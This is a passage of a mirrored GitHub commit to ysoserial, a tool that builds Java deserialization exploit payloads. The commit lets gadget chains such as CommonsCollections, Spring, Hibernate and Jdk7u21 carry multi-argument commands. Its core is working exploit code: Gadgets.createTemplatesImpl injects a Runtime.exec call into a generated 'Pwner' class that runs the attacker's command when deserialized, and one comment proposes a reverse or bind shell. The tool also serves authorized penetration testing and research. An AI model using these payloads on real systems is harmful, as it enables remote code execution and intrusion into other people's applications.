mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Add arguments support for many payloads (#72)
* Initial implementation to support multiple parameters * Update documentation with new usage * Fix * Implement backward API compatibility * Use escapeutils to escape java strings * Fix compatibility with JRE1.6 * Remove dependencies on apache commons libraries * Add support for multiple arguments for CommonsCollection5 and 6
This commit is contained in:
@@ -3,6 +3,7 @@ package ysoserial;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
|
import ysoserial.payloads.ExtendedObjectPayload;
|
||||||
import ysoserial.payloads.ObjectPayload;
|
import ysoserial.payloads.ObjectPayload;
|
||||||
import ysoserial.payloads.ObjectPayload.Utils;
|
import ysoserial.payloads.ObjectPayload.Utils;
|
||||||
import ysoserial.payloads.annotation.Authors;
|
import ysoserial.payloads.annotation.Authors;
|
||||||
@@ -14,12 +15,12 @@ public class GeneratePayload {
|
|||||||
private static final int USAGE_CODE = 64;
|
private static final int USAGE_CODE = 64;
|
||||||
|
|
||||||
public static void main(final String[] args) {
|
public static void main(final String[] args) {
|
||||||
if (args.length != 2) {
|
if (args.length < 2) {
|
||||||
printUsage();
|
printUsage();
|
||||||
System.exit(USAGE_CODE);
|
System.exit(USAGE_CODE);
|
||||||
}
|
}
|
||||||
final String payloadType = args[0];
|
final String payloadType = args[0];
|
||||||
final String command = args[1];
|
final String[] command = Arrays.copyOfRange(args, 1, args.length);
|
||||||
|
|
||||||
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
|
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
|
||||||
if (payloadClass == null) {
|
if (payloadClass == null) {
|
||||||
@@ -31,7 +32,18 @@ public class GeneratePayload {
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
final ObjectPayload payload = payloadClass.newInstance();
|
final ObjectPayload payload = payloadClass.newInstance();
|
||||||
final Object object = payload.getObject(command);
|
final Object object;
|
||||||
|
if (payload instanceof ExtendedObjectPayload) {
|
||||||
|
ExtendedObjectPayload extended_payload = (ExtendedObjectPayload) payload;
|
||||||
|
object = extended_payload.getObject(command);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (command.length > 1) {
|
||||||
|
System.err.println("The payload '" + payloadType + "' does not support arguments");
|
||||||
|
}
|
||||||
|
object = payload.getObject(command[0]);
|
||||||
|
}
|
||||||
|
|
||||||
PrintStream out = System.out;
|
PrintStream out = System.out;
|
||||||
Serializer.serialize(object, out);
|
Serializer.serialize(object, out);
|
||||||
ObjectPayload.Utils.releasePayload(payload, object);
|
ObjectPayload.Utils.releasePayload(payload, object);
|
||||||
@@ -45,7 +57,7 @@ public class GeneratePayload {
|
|||||||
|
|
||||||
private static void printUsage() {
|
private static void printUsage() {
|
||||||
System.err.println("Y SO SERIAL?");
|
System.err.println("Y SO SERIAL?");
|
||||||
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
|
System.err.println("Usage: java -jar ysoserial-[version]-all.jar payload [arguments ...]");
|
||||||
System.err.println(" Available payload types:");
|
System.err.println(" Available payload types:");
|
||||||
|
|
||||||
final List<Class<? extends ObjectPayload>> payloadClasses =
|
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||||
|
|||||||
@@ -1,7 +1,5 @@
|
|||||||
package ysoserial;
|
package ysoserial;
|
||||||
|
|
||||||
import org.apache.commons.lang.StringUtils;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.LinkedList;
|
import java.util.LinkedList;
|
||||||
@@ -21,6 +19,10 @@ public class Strings {
|
|||||||
return sb.toString();
|
return sb.toString();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String join(Iterable<String> strings, String sep) {
|
||||||
|
return Strings.join(strings, sep, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
public static String repeat(String str, int num) {
|
public static String repeat(String str, int num) {
|
||||||
final String[] strs = new String[num];
|
final String[] strs = new String[num];
|
||||||
Arrays.fill(strs, str);
|
Arrays.fill(strs, str);
|
||||||
|
|||||||
@@ -14,9 +14,9 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
@SuppressWarnings({ "rawtypes", "unchecked" })
|
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
|
||||||
@Authors({ Authors.FROHOFF })
|
@Authors({ Authors.FROHOFF })
|
||||||
public class CommonsBeanutils1 implements ObjectPayload<Object> {
|
public class CommonsBeanutils1 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String[] command) throws Exception {
|
||||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
// mock method name until armed
|
// mock method name until armed
|
||||||
final BeanComparator comparator = new BeanComparator("lowestSetBit");
|
final BeanComparator comparator = new BeanComparator("lowestSetBit");
|
||||||
|
|||||||
@@ -27,9 +27,9 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
@SuppressWarnings({ "rawtypes", "unchecked" })
|
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||||
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
|
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
|
||||||
@Authors({ Authors.FROHOFF })
|
@Authors({ Authors.FROHOFF })
|
||||||
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
public class CommonsCollections2 extends ExtendedObjectPayload<Queue<Object>> {
|
||||||
|
|
||||||
public Queue<Object> getObject(final String command) throws Exception {
|
public Queue<Object> getObject(final String[] command) throws Exception {
|
||||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
// mock method name until armed
|
// mock method name until armed
|
||||||
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||||
|
|||||||
@@ -30,9 +30,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
|||||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
@Authors({ Authors.FROHOFF })
|
@Authors({ Authors.FROHOFF })
|
||||||
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
|
public class CommonsCollections3 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String[] command) throws Exception {
|
||||||
Object templatesImpl = Gadgets.createTemplatesImpl(command);
|
Object templatesImpl = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
// inert chain for setup
|
// inert chain for setup
|
||||||
|
|||||||
@@ -26,9 +26,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
|||||||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||||
@Authors({ Authors.FROHOFF })
|
@Authors({ Authors.FROHOFF })
|
||||||
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
|
public class CommonsCollections4 extends ExtendedObjectPayload<Queue<Object>> {
|
||||||
|
|
||||||
public Queue<Object> getObject(final String command) throws Exception {
|
public Queue<Object> getObject(final String[] command) throws Exception {
|
||||||
Object templates = Gadgets.createTemplatesImpl(command);
|
Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
ConstantTransformer constant = new ConstantTransformer(String.class);
|
ConstantTransformer constant = new ConstantTransformer(String.class);
|
||||||
|
|||||||
@@ -54,10 +54,10 @@ https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4e
|
|||||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
|
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
|
||||||
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
|
public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValueExpException> {
|
||||||
|
|
||||||
public BadAttributeValueExpException getObject(final String command) throws Exception {
|
public BadAttributeValueExpException getObject(final String[] command) throws Exception {
|
||||||
final String[] execArgs = new String[] { command };
|
final String[] execArgs = command.clone();
|
||||||
// inert chain for setup
|
// inert chain for setup
|
||||||
final Transformer transformerChain = new ChainedTransformer(
|
final Transformer transformerChain = new ChainedTransformer(
|
||||||
new Transformer[]{ new ConstantTransformer(1) });
|
new Transformer[]{ new ConstantTransformer(1) });
|
||||||
|
|||||||
@@ -35,11 +35,10 @@ import java.util.Map;
|
|||||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
@Authors({ Authors.MATTHIASKAISER })
|
@Authors({ Authors.MATTHIASKAISER })
|
||||||
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
|
public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {
|
||||||
|
|
||||||
public Serializable getObject(final String command) throws Exception {
|
public Serializable getObject(final String[] command) throws Exception {
|
||||||
|
final String[] execArgs = command.clone();
|
||||||
final String[] execArgs = new String[] { command };
|
|
||||||
|
|
||||||
final Transformer[] transformers = new Transformer[] {
|
final Transformer[] transformers = new Transformer[] {
|
||||||
new ConstantTransformer(Runtime.class),
|
new ConstantTransformer(Runtime.class),
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.util.LinkedList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.StringTokenizer;
|
||||||
|
|
||||||
|
public abstract class ExtendedObjectPayload<T> implements ObjectPayload<T> {
|
||||||
|
abstract public T getObject(String[] command) throws Exception;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Method to keep backward compatibility with ObjectPayload
|
||||||
|
* using StringTokenizer used in java.lang.Runtime.exec(String)
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public T getObject(String command) throws Exception {
|
||||||
|
final StringTokenizer tokenizer = new StringTokenizer(command);
|
||||||
|
final List<String> commandTokenized = new LinkedList<String>();
|
||||||
|
while (tokenizer.hasMoreTokens()) {
|
||||||
|
commandTokenized.add(tokenizer.nextToken());
|
||||||
|
}
|
||||||
|
final String[] commandTokenizedArray= commandTokenized.toArray(new String[0]);
|
||||||
|
return this.getObject(commandTokenizedArray);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -37,7 +37,7 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
@Authors({ Authors.MBECHLER })
|
@Authors({ Authors.MBECHLER })
|
||||||
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
public class Hibernate1 extends ExtendedObjectPayload<Object> implements DynamicDependencies {
|
||||||
|
|
||||||
public static String[] getDependencies () {
|
public static String[] getDependencies () {
|
||||||
if ( System.getProperty("hibernate5") != null ) {
|
if ( System.getProperty("hibernate5") != null ) {
|
||||||
@@ -96,7 +96,7 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public Object getObject ( String command ) throws Exception {
|
public Object getObject ( String[] command ) throws Exception {
|
||||||
Object tpl = Gadgets.createTemplatesImpl(command);
|
Object tpl = Gadgets.createTemplatesImpl(command);
|
||||||
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
||||||
return makeCaller(tpl, getters);
|
return makeCaller(tpl, getters);
|
||||||
|
|||||||
@@ -30,9 +30,9 @@ import java.util.*;
|
|||||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
||||||
@Authors({ Authors.MATTHIASKAISER })
|
@Authors({ Authors.MATTHIASKAISER })
|
||||||
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
public class JBossInterceptors1 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String[] command) throws Exception {
|
||||||
|
|
||||||
final Object gadget = Gadgets.createTemplatesImpl(command);
|
final Object gadget = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
|||||||
@@ -66,9 +66,9 @@ import net.sf.json.JSONObject;
|
|||||||
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
|
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
|
||||||
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
|
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
|
||||||
@Authors({ Authors.MBECHLER })
|
@Authors({ Authors.MBECHLER })
|
||||||
public class JSON1 implements ObjectPayload<Object> {
|
public class JSON1 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Map getObject ( String command ) throws Exception {
|
public Map getObject ( String[] command ) throws Exception {
|
||||||
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
|
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -30,9 +30,9 @@ import java.util.*;
|
|||||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
||||||
@Authors({ Authors.MATTHIASKAISER })
|
@Authors({ Authors.MATTHIASKAISER })
|
||||||
public class JavassistWeld1 implements ObjectPayload<Object> {
|
public class JavassistWeld1 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String[] command) throws Exception {
|
||||||
|
|
||||||
final Object gadget = Gadgets.createTemplatesImpl(command);
|
final Object gadget = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
|
|||||||
@@ -57,9 +57,9 @@ LinkedHashSet.readObject()
|
|||||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||||
@Dependencies()
|
@Dependencies()
|
||||||
@Authors({ Authors.FROHOFF })
|
@Authors({ Authors.FROHOFF })
|
||||||
public class Jdk7u21 implements ObjectPayload<Object> {
|
public class Jdk7u21 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String[] command) throws Exception {
|
||||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
String zeroHashCodeStr = "f5a5a608";
|
String zeroHashCodeStr = "f5a5a608";
|
||||||
|
|||||||
@@ -21,9 +21,9 @@ import java.lang.reflect.Method;
|
|||||||
@PayloadTest( precondition = "isApplicableJavaVersion")
|
@PayloadTest( precondition = "isApplicableJavaVersion")
|
||||||
@Dependencies({"rhino:js:1.7R2"})
|
@Dependencies({"rhino:js:1.7R2"})
|
||||||
@Authors({ Authors.MATTHIASKAISER })
|
@Authors({ Authors.MATTHIASKAISER })
|
||||||
public class MozillaRhino1 implements ObjectPayload<Object> {
|
public class MozillaRhino1 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String[] command) throws Exception {
|
||||||
|
|
||||||
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
||||||
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
||||||
|
|||||||
@@ -30,9 +30,9 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
*/
|
*/
|
||||||
@Dependencies("rome:rome:1.0")
|
@Dependencies("rome:rome:1.0")
|
||||||
@Authors({ Authors.MBECHLER })
|
@Authors({ Authors.MBECHLER })
|
||||||
public class ROME implements ObjectPayload<Object> {
|
public class ROME extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject ( String command ) throws Exception {
|
public Object getObject ( String[] command ) throws Exception {
|
||||||
Object o = Gadgets.createTemplatesImpl(command);
|
Object o = Gadgets.createTemplatesImpl(command);
|
||||||
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
||||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||||
|
|||||||
@@ -51,9 +51,9 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||||
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
|
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
|
||||||
@Authors({ Authors.FROHOFF })
|
@Authors({ Authors.FROHOFF })
|
||||||
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
|
public class Spring1 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String[] command) throws Exception {
|
||||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
final ObjectFactory objectFactoryProxy =
|
final ObjectFactory objectFactoryProxy =
|
||||||
|
|||||||
@@ -43,9 +43,9 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
|
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
|
||||||
} )
|
} )
|
||||||
@Authors({ Authors.MBECHLER })
|
@Authors({ Authors.MBECHLER })
|
||||||
public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
|
public class Spring2 extends ExtendedObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject ( final String command ) throws Exception {
|
public Object getObject ( final String[] command ) throws Exception {
|
||||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
AdvisedSupport as = new AdvisedSupport();
|
AdvisedSupport as = new AdvisedSupport();
|
||||||
|
|||||||
@@ -10,11 +10,15 @@ import java.lang.reflect.InvocationHandler;
|
|||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
import java.util.LinkedList;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import javassist.ClassClassPath;
|
import javassist.ClassClassPath;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
|
import ysoserial.Strings;
|
||||||
|
import ysoserial.translate.JavaEscaper;
|
||||||
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
import com.sun.org.apache.xalan.internal.xsltc.DOM;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
|
||||||
@@ -89,7 +93,7 @@ public class Gadgets {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static Object createTemplatesImpl ( final String command ) throws Exception {
|
public static Object createTemplatesImpl ( final String command[] ) throws Exception {
|
||||||
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
|
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
|
||||||
return createTemplatesImpl(
|
return createTemplatesImpl(
|
||||||
command,
|
command,
|
||||||
@@ -102,7 +106,7 @@ public class Gadgets {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
|
public static <T> T createTemplatesImpl ( final String command[], Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
|
||||||
throws Exception {
|
throws Exception {
|
||||||
final T templates = tplClass.newInstance();
|
final T templates = tplClass.newInstance();
|
||||||
|
|
||||||
@@ -113,9 +117,12 @@ public class Gadgets {
|
|||||||
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
|
||||||
// run command in static initializer
|
// run command in static initializer
|
||||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
final List<String> escapedParams = new LinkedList<String>();
|
||||||
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
|
for (String param : command) {
|
||||||
"\");";
|
escapedParams.add("\"" + JavaEscaper.escapeJava(param) + "\"");
|
||||||
|
}
|
||||||
|
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(escapedParams, ", ") + "});";
|
||||||
|
|
||||||
clazz.makeClassInitializer().insertAfter(cmd);
|
clazz.makeClassInitializer().insertAfter(cmd);
|
||||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||||
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
clazz.setName("ysoserial.Pwner" + System.nanoTime());
|
||||||
|
|||||||
@@ -0,0 +1,68 @@
|
|||||||
|
/*
|
||||||
|
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||||
|
* contributor license agreements. See the NOTICE file distributed with
|
||||||
|
* this work for additional information regarding copyright ownership.
|
||||||
|
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||||
|
* (the "License"); you may not use this file except in compliance with
|
||||||
|
* the License. You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
package ysoserial.translate;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.Writer;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Executes a sequence of translators one after the other. Execution ends whenever
|
||||||
|
* the first translator consumes codepoints from the input.
|
||||||
|
*
|
||||||
|
* @since 1.0
|
||||||
|
*/
|
||||||
|
public class AggregateTranslator extends CharSequenceTranslator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Translator list.
|
||||||
|
*/
|
||||||
|
private final List<CharSequenceTranslator> translators = new ArrayList<CharSequenceTranslator>();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Specify the translators to be used at creation time.
|
||||||
|
*
|
||||||
|
* @param translators CharSequenceTranslator array to aggregate
|
||||||
|
*/
|
||||||
|
public AggregateTranslator(final CharSequenceTranslator... translators) {
|
||||||
|
if (translators != null) {
|
||||||
|
for (CharSequenceTranslator translator : translators) {
|
||||||
|
if (translator != null) {
|
||||||
|
this.translators.add(translator);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The first translator to consume codepoints from the input is the 'winner'.
|
||||||
|
* Execution stops with the number of consumed codepoints being returned.
|
||||||
|
* {@inheritDoc}
|
||||||
|
*/
|
||||||
|
@Override
|
||||||
|
public int translate(final CharSequence input, final int index, final Writer out) throws IOException {
|
||||||
|
for (final CharSequenceTranslator translator : translators) {
|
||||||
|
final int consumed = translator.translate(input, index, out);
|
||||||
|
if (consumed != 0) {
|
||||||
|
return consumed;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,138 @@
|
|||||||
|
/*
|
||||||
|
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||||
|
* contributor license agreements. See the NOTICE file distributed with
|
||||||
|
* this work for additional information regarding copyright ownership.
|
||||||
|
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||||
|
* (the "License"); you may not use this file except in compliance with
|
||||||
|
* the License. You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
package ysoserial.translate;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.StringWriter;
|
||||||
|
import java.io.Writer;
|
||||||
|
import java.util.Locale;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An API for translating text.
|
||||||
|
* Its core use is to escape and unescape text. Because escaping and unescaping
|
||||||
|
* is completely contextual, the API does not present two separate signatures.
|
||||||
|
*
|
||||||
|
* @since 1.0
|
||||||
|
*/
|
||||||
|
public abstract class CharSequenceTranslator {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Array containing the hexadecimal alphabet.
|
||||||
|
*/
|
||||||
|
static final char[] HEX_DIGITS = new char[] {'0', '1', '2', '3',
|
||||||
|
'4', '5', '6', '7',
|
||||||
|
'8', '9', 'A', 'B',
|
||||||
|
'C', 'D', 'E', 'F'};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Translate a set of codepoints, represented by an int index into a CharSequence,
|
||||||
|
* into another set of codepoints. The number of codepoints consumed must be returned,
|
||||||
|
* and the only IOExceptions thrown must be from interacting with the Writer so that
|
||||||
|
* the top level API may reliably ignore StringWriter IOExceptions.
|
||||||
|
*
|
||||||
|
* @param input CharSequence that is being translated
|
||||||
|
* @param index int representing the current point of translation
|
||||||
|
* @param out Writer to translate the text to
|
||||||
|
* @return int count of codepoints consumed
|
||||||
|
* @throws IOException if and only if the Writer produces an IOException
|
||||||
|
*/
|
||||||
|
public abstract int translate(CharSequence input, int index, Writer out) throws IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Helper for non-Writer usage.
|
||||||
|
* @param input CharSequence to be translated
|
||||||
|
* @return String output of translation
|
||||||
|
*/
|
||||||
|
public final String translate(final CharSequence input) {
|
||||||
|
if (input == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
final StringWriter writer = new StringWriter(input.length() * 2);
|
||||||
|
translate(input, writer);
|
||||||
|
return writer.toString();
|
||||||
|
} catch (final IOException ioe) {
|
||||||
|
// this should never ever happen while writing to a StringWriter
|
||||||
|
throw new RuntimeException(ioe);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Translate an input onto a Writer. This is intentionally final as its algorithm is
|
||||||
|
* tightly coupled with the abstract method of this class.
|
||||||
|
*
|
||||||
|
* @param input CharSequence that is being translated
|
||||||
|
* @param out Writer to translate the text to
|
||||||
|
* @throws IOException if and only if the Writer produces an IOException
|
||||||
|
*/
|
||||||
|
public final void translate(final CharSequence input, final Writer out) throws IOException {
|
||||||
|
if (input == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int pos = 0;
|
||||||
|
final int len = input.length();
|
||||||
|
while (pos < len) {
|
||||||
|
final int consumed = translate(input, pos, out);
|
